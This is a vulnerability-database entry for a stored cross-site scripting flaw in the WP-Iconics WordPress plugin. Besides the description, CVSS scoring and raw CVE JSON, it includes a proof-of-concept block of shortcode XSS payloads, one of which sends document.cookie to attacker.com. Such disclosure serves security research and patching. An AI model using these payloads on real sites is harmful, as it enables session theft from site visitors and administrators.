Security Vulnerability Report
中文
CVE-2025-12671 CVSS 6.4 MEDIUM

CVE-2025-12671

Published: 2025-11-11 04:15:50
Last Modified: 2026-04-15 00:35:42

Description

The WP-Iconics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple parameters of the 'wp_iconics' shortcode in all versions up to, and including, 0.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP-Iconics <= 0.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress WP-Iconics Plugin Stored XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Basic XSS Payload via icon parameter --> [wp_iconics icon='" onload="alert(document.cookie)" x="'] <!-- XSS via multiple parameters --> [wp_iconics icon='test' color='" style="animation-name:rotation onanimationstart=alert(document.domain)//' size='100px'] <!-- Steal admin cookies (requires URL encoding in real attack) --> [wp_iconics icon='" src=x onerror=fetch(`https://attacker.com/steal?c=`+document.cookie)>'] <!-- Automated exploitation script --> <script> // Simulated attack payload for CVE-2025-12671 const xssPayload = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'; const targetUrl = '/wp-admin/post.php'; // Construct malicious shortcode const maliciousShortcode = `[wp_iconics icon='${xssPayload}']`; console.log('XSS Payload:', maliciousShortcode); console.log('This payload will be stored and executed when page is viewed'); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12671", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:49.593", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-Iconics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple parameters of the 'wp_iconics' shortcode in all versions up to, and including, 0.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-iconics/tags/0.0.4/wp-iconics.php#L47", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-iconics/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/90ec6c64-f2c6-483e-9d8b-25e65ccb4a90?source=cve", "source": "[email protected]"}]}}